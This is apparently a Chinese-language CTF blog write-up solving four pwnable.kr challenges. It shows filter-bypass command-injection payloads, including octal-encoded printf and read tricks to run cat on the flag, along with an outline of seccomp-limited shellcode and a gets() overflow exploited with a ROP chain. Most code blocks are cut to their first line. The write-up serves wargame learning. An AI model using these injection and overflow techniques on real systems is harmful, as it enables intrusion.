pwnable.kr [Toddler's Bottle IV]
cmd2
這題跟 cmd1 很像,直接來看 cmd2.c:
1 |
|
這題的環境變數限制一樣,但過濾條件變得更嚴格,我們前一題的 /bin/cat 會因為阻擋了 / 而無法一般使用。
最直覺的方式就是使用 $(pwd) 在根目錄時會代表 / 的特性來替代,就可以一樣使用上一題的 payload 模式,如下所示:
1 | cmd2@ubuntu:~$ cd / |
其他解法提供:
- 使用
read重設PATH環境變數為/bin
1 | cmd2@ubuntu:~$ ./cmd2 'read P""ATH; cat fla*' |
- 使用
read直接執行指令/bin/cat flag並印出
1 | cmd2@ubuntu:~$ ./cmd2 '$(read x; echo $x)' |
- 利用內建指令
command -p來使用系統預設的PATH環境變數來執行指令(忽略putenv("PATH=..."))
1 | cmd2@ubuntu:~$ ./cmd2 'command -p cat fla*' |
- 使用八進位(octal)替代
1 | cmd2@ubuntu:~$ ./cmd2 '$(printf "\57\142\151\156\57\143\141\164\40\146\154\141\147")' |
memcpy
連到機器後先來看一下檔案內容:
1 | memcpy@ubuntu:~$ ls |
簡單說明了我們要用 nc 0 9022 來解題,來看一下 memcpy.c:
1 | // gcc -o memcpy memcpy.c -m32 -lm |
很簡單的可以看出,這個程式使用 32 位元編譯,實作分為 slow_memcpy 與 fast_memcpy,我們最終的目的就是讓程式能夠順利執行完成,最後就可以拿到 flag,但其中什麼地方可能會出現問題呢?
slow_memcpy 就是個單純的 for 迴圈實作複製,沒什麼問題,因此我們來專注分析 fast_memcpy:
1 | char* fast_memcpy(char* dest, const char* src, size_t len){ |
首先可以觀察到,他想要一次進行 64 bytes 的複製工作,因此他使用了 SSE(Streaming SIMD Extensions) 的 x86 CPU 指令集擴充:xmm 暫存器來一次儲存 128 bit = 16 bytes 的數值,並重複 4 次達到 64 bytes。
用來實作的指令 movdqa 與 movntps,則是藉由下面的表達式:::"r"(src),"r"(dest):"memory");,讓他們知道要將資料從 src 搬運到 dest 上,其中會嚴格遵守對齊 16 bytes 的要求。
問題在於,main 函數中用來進行實驗記憶體分配的 malloc 指令,在 32 位元的環境下會在分配的地址起點加入 8 bytes 的 chunk header,回傳的可寫地址便會偏移 8 bytes。因此如果我們的輸入大小讓複製時的對齊不為 16 bytes 的要求,用來實作 fast_memcpy 的指令便會出錯。
因此我們的輸入便必須讓每次的對齊都能對準 16 bytes 的倍數,如下所示:
1 | input: |
當然還有其他數字可以通過測試,只要讓出來的 bytes 對齊 16 bytes 即可~
輸入後即可過關:
1 | memcpy@ubuntu:~$ nc 0 9022 |
asm
連到機器之後來看一下檔案內容:
1 | asm@ubuntu:~$ ls |
說明要用 nc 0 9026 來解題,並且有提供 flag 檔案名稱,來看一下 asm.c:
1 |
|
很明顯地這是一個寫 shellcode 的題目,並且 seccomp 限制只能使用 open、read、write 來進行 shellcode,因此我們的目標很明確:使用 open 打開 flag 檔案、使用 read 讀取 flag 檔案,最後使用 write 輸出 flag 檔案的內容並使用 exit 退出。
直接使用 Python 實作,加上 pwntools 的 shellcode 生成器(記得指定 context.arch)。另外因為不指定讀入資料後的儲存位址,我們直接讓 rsp 將資料讀進 stack 中即可:
1 | from pwn import * |
執行後即可獲得 flag。
1 | python3 exploit.py |
P.S.1 因為檔名過長,這裡就不示範怎麼手刻組合語言了,不然光是要指定檔名的指令就會爆炸長 :P
P.S.2 題目提供的 shellcode 是將所有的 register 都設為 0 的意思
horcruxes
連到題目之後來看一下題目內容:
1 | horcruxes@ubuntu:~$ ls |
題目清楚的告訴我們,我們需要進行 ROP 來讀 flag,但他沒有給 source code,因此我們直接把檔案傳送到本地來進行分析:
1 | scp -P 2222 horcruxes@pwnable.kr:/home/horcruxes/horcruxes ./ |
是 32-bit 的檔案,使用 IDA 來進行逆向:
main
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
- seccomp 規則(32-bit):白名單規則
0x7FFF0000:SECCOMP_RET_ALLOW173:rt_sigreturn5:open295:openat3:read4:write252:exit_group
init_ABCDEFG
1 | int init_ABCDEFG() |
ropme
1 | int ropme() |
A(舉例)
1 | int A() |
根據上面逆向的結果,很清楚地我們需要在 ropme 函數中輸入正確的 sum 值才能獲得 flag,而輸入的位置則存在一個沒有限制使用者輸入長度的 gets() 漏洞。
另外,A ~ G 函數則會印出 a ~ g 的數值內容,原本應該是只有 if 驗證通過時才會執行,但我們可以結合剛剛的 buffer overflow 漏洞,拼接出 ROP chain 依序執行 A ~ G 函數,此時我們知道了 a ~ g 的數值內容,即可再次呼叫 ropme 並輸入正確的 sum 來獲得flag。
先來使用 Pwndbg 找出 return address 的 offset:
- 確認斷點
1 | 0x080415fa <+239>: add esp,0x10 |
將斷點設置於 0x08041603 與 0x08041697,便於輸入以及抓取 esp 的值:
1 | pwndbg> b *0x08041603 |
- 利用
cyclic產生 payload
1 | pwndbg> cyclic 200 |
- 將程式執行並
nexti一次到gets()位置,輸入 payload,並且輸入continue來執行到下一個斷點ret:
1 | pwndbg> r |
- 確認
esp值並利用cyclic計算 offset:
1 | pwndbg> x/wx $esp |
確認 offset 是 120 後,即可使用 Python 實作 ROP chain:
1 | from pwn import * |
執行後即可獲得 flag:
1 | python3 exploit.py |
- Title: pwnable.kr [Toddler's Bottle IV]
- Author: Albert Huang
- Created at : 2026-09-09 21:30:32
- Updated at : 2026-09-09 21:35:05
- Link: https://blog.albert-web.tw/2026/09/09/pwnable-kr-writeup-4/
- License: This work is licensed under CC BY-NC-SA 4.0.